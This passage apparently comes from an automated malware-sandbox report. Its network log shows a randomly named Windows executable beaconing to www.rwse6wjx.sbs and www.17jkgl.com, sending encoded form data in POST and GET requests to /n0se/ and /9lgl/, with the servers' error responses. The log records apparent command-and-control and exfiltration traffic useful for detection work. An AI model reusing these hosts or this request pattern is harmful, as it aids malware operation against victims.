6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50005	101.32.205.61	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:20:35.068353891 CET	752	OUT	POST /n0se/ HTTP/1.1 Host: www.rwse6wjx.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.rwse6wjx.sbs Referer: http://www.rwse6wjx.sbs/n0se/ Content-Length: 207 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 73 6d 44 4d 4f 74 47 69 46 71 4a 41 31 49 70 68 4e 58 35 33 50 65 55 67 32 4f 76 45 37 4a 54 51 61 70 78 31 36 34 76 48 75 35 4a 2b 6d 6d 46 75 78 6a 30 45 4f 79 75 49 33 47 63 79 45 32 4b 45 70 71 62 61 30 6c 66 55 41 41 52 6d 53 76 59 6e 4a 71 6f 36 50 48 78 73 72 4b 33 73 54 64 61 48 47 32 4b 4e 34 4d 5a 6a 38 34 4c 67 38 56 74 45 78 79 70 73 39 46 7a 49 37 55 64 59 6b 6b 59 6f 2f 7a 45 74 53 7a 42 44 55 30 50 7a 4f 4a 41 7a 39 62 50 6a 4b 52 41 43 66 69 58 6a 39 4c 4f 53 31 63 6c 38 6b 55 72 4e 59 5a 63 51 37 5a 6f 77 38 64 4c 45 7a 59 6a 65 4e 44 6e 32 43 74 49 58 39 4b 33 37 4d 41 51 3d Data Ascii: LDVlCz=smDMOtGiFqJA1IphNX53PeUg2OvE7JTQapx164vHu5J+mmFuxj0EOyuI3GcyE2KEpqba0lfUAARmSvYnJqo6PHxsrK3sTdaHG2KN4MZj84Lg8VtExyps9FzI7UdYkkYo/zEtSzBDU0PzOJAz9bPjKRACfiXj9LOS1cl8kUrNYZcQ7Zow8dLEzYjeNDn2CtIX9K37MAQ=
Dec 12, 2024 00:20:36.572283983 CET	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Wed, 11 Dec 2024 23:20:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50006	101.32.205.61	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:20:37.733057976 CET	772	OUT	POST /n0se/ HTTP/1.1 Host: www.rwse6wjx.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.rwse6wjx.sbs Referer: http://www.rwse6wjx.sbs/n0se/ Content-Length: 227 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 73 6d 44 4d 4f 74 47 69 46 71 4a 41 32 70 35 68 50 32 35 33 4f 2b 55 6a 36 75 76 45 78 70 54 55 61 70 39 31 36 38 58 74 75 4c 39 2b 6e 45 64 75 79 68 63 45 4e 79 75 49 38 6d 63 33 48 47 4b 61 70 71 58 6b 30 67 6e 55 41 47 39 6d 53 76 49 6e 4a 5a 41 37 4a 58 78 75 31 71 32 4b 4f 4e 61 48 47 32 4b 4e 34 4d 4e 4e 38 34 54 67 39 6d 31 45 77 58 4a 72 33 6c 7a 48 76 45 64 59 31 30 59 73 2f 7a 45 54 53 79 64 74 55 33 37 7a 4f 4d 38 7a 39 49 58 6b 41 52 41 41 51 43 58 78 31 2b 54 64 37 50 42 58 68 79 79 75 47 66 74 6f 33 50 5a 61 6d 2f 44 73 67 34 50 6d 64 51 76 42 54 64 70 2b 6e 70 6e 4c 53 58 47 50 74 78 45 38 54 31 77 35 39 6b 49 69 48 75 54 38 54 30 61 47 Data Ascii: LDVlCz=smDMOtGiFqJA2p5hP253O+Uj6uvExpTUap9168XtuL9+nEduyhcENyuI8mc3HGKapqXk0gnUAG9mSvInJZA7JXxu1q2KONaHG2KN4MNN84Tg9m1EwXJr3lzHvEdY10Ys/zETSydtU37zOM8z9IXkARAAQCXx1+Td7PBXhyyuGfto3PZam/Dsg4PmdQvBTdp+npnLSXGPtxE8T1w59kIiHuT8T0aG
Dec 12, 2024 00:20:39.250551939 CET	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Wed, 11 Dec 2024 23:20:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50007	101.32.205.61	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:20:40.390288115 CET	1789	OUT	POST /n0se/ HTTP/1.1 Host: www.rwse6wjx.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.rwse6wjx.sbs Referer: http://www.rwse6wjx.sbs/n0se/ Content-Length: 1243 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 73 6d 44 4d 4f 74 47 69 46 71 4a 41 32 70 35 68 50 32 35 33 4f 2b 55 6a 36 75 76 45 78 70 54 55 61 70 39 31 36 38 58 74 75 4c 6c 2b 6e 33 56 75 79 41 63 45 4d 79 75 49 31 47 63 32 48 47 4c 66 70 71 2b 6a 30 67 36 76 41 46 4a 6d 54 4d 77 6e 4c 6f 41 37 41 58 78 75 76 4b 32 65 54 64 62 64 47 32 62 45 34 4d 64 4e 38 34 54 67 39 67 5a 45 30 43 70 72 34 46 7a 49 37 55 64 45 6b 6b 5a 4c 2f 7a 63 6c 53 79 5a 54 54 42 4c 7a 4f 73 4d 7a 75 4c 7a 6b 47 42 41 4f 52 43 57 69 31 2b 57 64 37 50 74 78 68 79 75 45 47 59 42 6f 30 4a 4a 42 7a 37 54 55 2b 34 4c 6d 51 42 54 62 42 4b 68 46 68 72 2f 50 61 55 6a 31 76 67 63 30 45 67 30 62 33 57 31 35 57 61 58 37 43 77 33 56 44 56 5a 66 54 48 50 59 6a 78 34 39 31 46 55 74 6a 72 70 43 4a 46 67 6e 70 74 79 76 62 35 33 41 78 32 69 66 66 79 51 39 58 34 47 30 38 45 46 65 46 4e 43 79 46 74 64 39 45 33 6b 61 34 2f 34 2f 47 74 61 6f 36 41 35 54 35 44 6c 33 34 37 36 55 42 35 39 6c 2b 74 2f 7a 30 38 4d 59 67 36 76 4c 6e 46 66 70 45 37 33 76 2b 67 47 73 4a 48 73 [TRUNCATED] Data Ascii: LDVlCz=smDMOtGiFqJA2p5hP253O+Uj6uvExpTUap9168XtuLl+n3VuyAcEMyuI1Gc2HGLfpq+j0g6vAFJmTMwnLoA7AXxuvK2eTdbdG2bE4MdN84Tg9gZE0Cpr4FzI7UdEkkZL/zclSyZTTBLzOsMzuLzkGBAORCWi1+Wd7PtxhyuEGYBo0JJBz7TU+4LmQBTbBKhFhr/PaUj1vgc0Eg0b3W15WaX7Cw3VDVZfTHPYjx491FUtjrpCJFgnptyvb53Ax2iffyQ9X4G08EFeFNCyFtd9E3ka4/4/Gtao6A5T5Dl3476UB59l+t/z08MYg6vLnFfpE73v+gGsJHsUWn20/bo0rO4/fVDSITbnOLGT5WZbU39JZv0zPRlKy7Qvao4UTkJQv9Rerig6DT0wI775O4qvxDSyKIyBWlyDRDfYJvSq2Iojus7YE/4hFsQgQDlko9QW1iMV5jmWHp2PfVvMA0xy6VAKR1g/lxy3Ev03TiBm4NkWOB5WA1N6dTlnmlqXtkFAXlIMJXnXMaogjcGtjVS3SgDnLorUa5NH/xmafmUkYPtILnxi5ZJLuH1zzxGmhGGPFAGB09F6D0uba74x+heS63u2qtWI1cxcperP1s5MJ8IFi7U2UgO+shJXUrv6o6G7MDnXgtnXIXa9PF3HiN8eN4korokWUqyr5w09qn+UPKz1b5LfwqISAH6HH3YvwnmcvLZ1NsJ+TNAe0YIxv2gdHjJsqgE/5UJHuRkcnvU2aYNBFyD07Z15i9BaAPXVqHDq5taR40XOKrfOLqIvLmII9D7wygj2qhFAVgV0H/7sK3cUkiiOYvFXm0gq3JIv6f3T/JRuBWPwEGYBnIBW7yXWdYaux5ajrRYc4OwB32pPFs4CX9fFoV79Ql1gH0SUEgUveJhnSj700wu7ObH705WYKN9IxGN33gQqvMUQN/I24J9WF6vilnbBJMaefVEh3TTj7XHkDMXMv1X7Jj17I6K3kX+Kef43JkZBQnLDQqcGx1NAf [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50008	101.32.205.61	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:20:43.044095039 CET	503	OUT	GET /n0se/?LDVlCz=hkrsNdm9A7NEs6AELC9hc5Biy4ux3a/2UN9Ti/zPtL1d4UFJsQdYSGmB1x8mN1/no5/doAmWeXNISuQ7Z6M7ARUekuecQYjdGGqJoetNg5rktHF3zD1BwWzApk9VpjBEpg==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1 Host: www.rwse6wjx.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Dec 12, 2024 00:20:44.566230059 CET	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Wed, 11 Dec 2024 23:20:44 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50009	38.6.78.235	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:20:52.883976936 CET	746	OUT	POST /9lgl/ HTTP/1.1 Host: www.17jkgl.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.17jkgl.com Referer: http://www.17jkgl.com/9lgl/ Content-Length: 207 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 41 52 69 58 4f 2b 4e 46 50 46 70 4d 47 50 46 6a 48 51 64 33 6a 63 6b 4f 6f 4e 46 36 4c 73 35 6b 6c 62 71 45 49 6d 37 4a 64 46 4d 2f 39 44 73 5a 70 79 6a 39 31 6c 2f 32 76 63 4d 41 76 61 50 47 58 66 7a 66 4f 36 70 68 6c 2f 6a 36 6e 39 4d 57 2f 78 44 6e 30 59 38 45 4a 66 33 55 37 4c 57 74 4d 35 79 37 50 32 55 32 7a 61 70 65 54 4e 51 30 77 77 6c 31 36 42 76 66 49 48 2b 62 38 36 67 76 56 57 62 54 4c 55 42 38 37 32 54 67 54 5a 4d 77 74 32 4a 4b 4d 37 52 31 55 66 75 31 6c 61 57 64 78 63 69 6c 35 61 76 4b 78 5a 41 51 75 30 44 50 41 7a 6d 75 37 50 4f 6a 55 2b 31 33 6b 33 62 31 61 65 31 4b 4f 6d 6b 3d Data Ascii: LDVlCz=ARiXO+NFPFpMGPFjHQd3jckOoNF6Ls5klbqEIm7JdFM/9DsZpyj91l/2vcMAvaPGXfzfO6phl/j6n9MW/xDn0Y8EJf3U7LWtM5y7P2U2zapeTNQ0wwl16BvfIH+b86gvVWbTLUB872TgTZMwt2JKM7R1Ufu1laWdxcil5avKxZAQu0DPAzmu7POjU+13k3b1ae1KOmk=
Dec 12, 2024 00:20:54.153814077 CET	262	IN	HTTP/1.1 400 Bad Request Date: Wed, 11 Dec 2024 23:20:53 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 33 Content-Type: text/html; charset=utf-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b 01 00 92 54 0e 5c 0d 00 00 00 Data Ascii: 310Q/Qp/KT\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50010	38.6.78.235	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:20:55.573148966 CET	766	OUT	POST /9lgl/ HTTP/1.1 Host: www.17jkgl.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.17jkgl.com Referer: http://www.17jkgl.com/9lgl/ Content-Length: 227 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 41 52 69 58 4f 2b 4e 46 50 46 70 4d 47 76 31 6a 46 7a 31 33 32 4d 6b 50 69 74 46 36 53 38 35 67 6c 62 32 45 49 69 43 4f 64 32 6f 2f 39 6d 51 5a 6f 77 4c 39 37 46 2f 32 37 73 4d 46 68 36 50 33 58 66 2f 74 4f 36 6c 68 6c 2f 48 36 6e 2f 55 57 2f 67 44 67 30 49 38 38 63 76 33 57 6b 62 57 74 4d 35 79 37 50 32 41 49 7a 63 42 65 50 74 67 30 32 56 52 32 35 42 76 63 50 48 2b 62 32 61 67 72 56 57 62 31 4c 57 30 72 37 31 6e 67 54 64 49 77 30 48 4a 4c 43 37 52 4a 61 2f 76 72 74 4c 75 55 38 2f 71 4f 31 35 71 43 68 71 59 33 69 69 79 6c 61 52 75 47 6f 76 69 62 45 74 39 41 31 48 36 63 41 39 6c 36 51 78 79 30 79 6a 56 65 73 37 41 63 6c 4a 6c 73 6c 50 46 74 31 36 73 44 Data Ascii: LDVlCz=ARiXO+NFPFpMGv1jFz132MkPitF6S85glb2EIiCOd2o/9mQZowL97F/27sMFh6P3Xf/tO6lhl/H6n/UW/gDg0I88cv3WkbWtM5y7P2AIzcBePtg02VR25BvcPH+b2agrVWb1LW0r71ngTdIw0HJLC7RJa/vrtLuU8/qO15qChqY3iiylaRuGovibEt9A1H6cA9l6Qxy0yjVes7AclJlslPFt16sD
Dec 12, 2024 00:20:56.845474958 CET	262	IN	HTTP/1.1 400 Bad Request Date: Wed, 11 Dec 2024 23:20:56 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 33 Content-Type: text/html; charset=utf-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b 01 00 92 54 0e 5c 0d 00 00 00 Data Ascii: 310Q/Qp/KT\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50011	38.6.78.235	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:20:58.232774973 CET	1783	OUT	POST /9lgl/ HTTP/1.1 Host: www.17jkgl.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.17jkgl.com Referer: http://www.17jkgl.com/9lgl/ Content-Length: 1243 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 41 52 69 58 4f 2b 4e 46 50 46 70 4d 47 76 31 6a 46 7a 31 33 32 4d 6b 50 69 74 46 36 53 38 35 67 6c 62 32 45 49 69 43 4f 64 32 67 2f 39 51 45 5a 70 52 4c 39 36 46 2f 32 6e 38 4d 45 68 36 50 51 58 62 53 6b 4f 36 5a 62 6c 39 76 36 6d 61 49 57 75 69 6e 67 68 34 38 38 44 2f 33 58 37 4c 57 30 4d 2f 53 2f 50 32 51 49 7a 63 42 65 50 72 4d 30 31 41 6c 32 32 68 76 66 49 48 2b 58 38 36 67 44 56 57 44 4c 4c 57 78 57 37 44 58 67 54 35 73 77 76 52 31 4c 4f 37 52 50 58 66 76 6a 74 4b 54 4d 38 2f 47 6f 31 36 32 6f 68 71 67 33 6d 44 50 49 47 68 66 46 38 73 69 61 47 66 78 6d 67 79 71 78 42 72 5a 68 51 43 57 67 35 41 42 56 71 72 6b 61 73 39 74 6e 78 65 4e 66 7a 50 46 55 4f 74 4b 2b 37 57 50 57 72 6d 34 32 4f 6f 2b 42 41 65 34 36 79 44 49 48 74 50 4f 55 64 52 74 74 5a 71 62 36 6a 71 74 68 47 53 34 36 2f 30 6c 47 6f 38 2b 2f 59 45 74 52 2b 42 69 58 37 48 6b 4c 67 47 64 31 6b 75 48 30 32 7a 66 78 7a 30 5a 6a 37 4d 46 36 75 39 71 4b 6b 6a 73 4e 79 6a 78 65 75 6f 41 30 46 6e 67 68 2f 67 50 44 66 42 31 [TRUNCATED] Data Ascii: LDVlCz=ARiXO+NFPFpMGv1jFz132MkPitF6S85glb2EIiCOd2g/9QEZpRL96F/2n8MEh6PQXbSkO6Zbl9v6maIWuingh488D/3X7LW0M/S/P2QIzcBePrM01Al22hvfIH+X86gDVWDLLWxW7DXgT5swvR1LO7RPXfvjtKTM8/Go162ohqg3mDPIGhfF8siaGfxmgyqxBrZhQCWg5ABVqrkas9tnxeNfzPFUOtK+7WPWrm42Oo+BAe46yDIHtPOUdRttZqb6jqthGS46/0lGo8+/YEtR+BiX7HkLgGd1kuH02zfxz0Zj7MF6u9qKkjsNyjxeuoA0Fngh/gPDfB12Q3L3Dcl9LNT9Fnp9i0BgvnqOFRoU+CIZo5d1pjbh/84IdHWVGGHceAZLQTSFsUT0dv+3LzHSKCLugJt4CYxsdlI4QE9l7xvPfDemdAs/kGQco7lfZZEV3wfyltEM/uNh+LlInxK1gs7sWcXcl1uqenKp1Z8xbLIcpb0vqIaH2isIUKMqyYqGLbFksO9B3zr51FO7n2Y1dhWYHFyFpp/DjwNJyIEGpK0nW0QgoDxrtZ3CzlyMVVEApReBcRElP8KidWthkw9uox6uolzSQ3y7ptmwfwHw3BaihIb/pR05XMiPlUyv3UhqAfo77dEYHXNUHRTZV62xrQg7WhWtAo1uebeN5GymP2qfrgQAjKT2xOwe3SQ14Mys688lZbu0VfR83j/JCqJTbsRv/wncmpAUE1Ol1of48nTD0OaSo/nExghLFoa8cq3/RtGYCSMN51fB6wR5482UbmuVDDtFcYzcLABKMItk3mT5wQ5RPbxFLYoWgF6G5eFZj4kb5qAjeinqshuvtS8kpkA7I8BmJV+nr2syv7tFtDqn0x9tTRYd8p2VcvP5wADJ7xeqESpdGPF4drrR5vQdlLQ1+tIg9EyDIRGBMkvYIH9C+/+kW9RGAOUmITkEbVRLO33ymuENwU2u9zLpPREjsyUVFvfj6oPs+mH/cVsh637cV [TRUNCATED]
Dec 12, 2024 00:20:59.519824982 CET	262	IN	HTTP/1.1 400 Bad Request Date: Wed, 11 Dec 2024 23:20:59 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 33 Content-Type: text/html; charset=utf-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b 01 00 92 54 0e 5c 0d 00 00 00 Data Ascii: 310Q/Qp/KT\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50012	38.6.78.235	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:21:00.888006926 CET	501	OUT	GET /9lgl/?LDVlCz=NTK3NLhlAEJIOtoeBFtljOkEhfYZVbBGiOzAI1f+R144iBEE4BOnuC3DqsUysY3FH9LbQrV9xfPYm9YM/jyzxs8eKdKq7NnxOPLJXW8Qu/cpUMw46FhSxTz+BHey1p9/Wg==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1 Host: www.17jkgl.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Dec 12, 2024 00:21:02.185863018 CET	189	IN	HTTP/1.1 503 Service Unavailable Date: Wed, 11 Dec 2024 23:21:01 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Content-Length: 0 Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50013	3.125.36.175	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
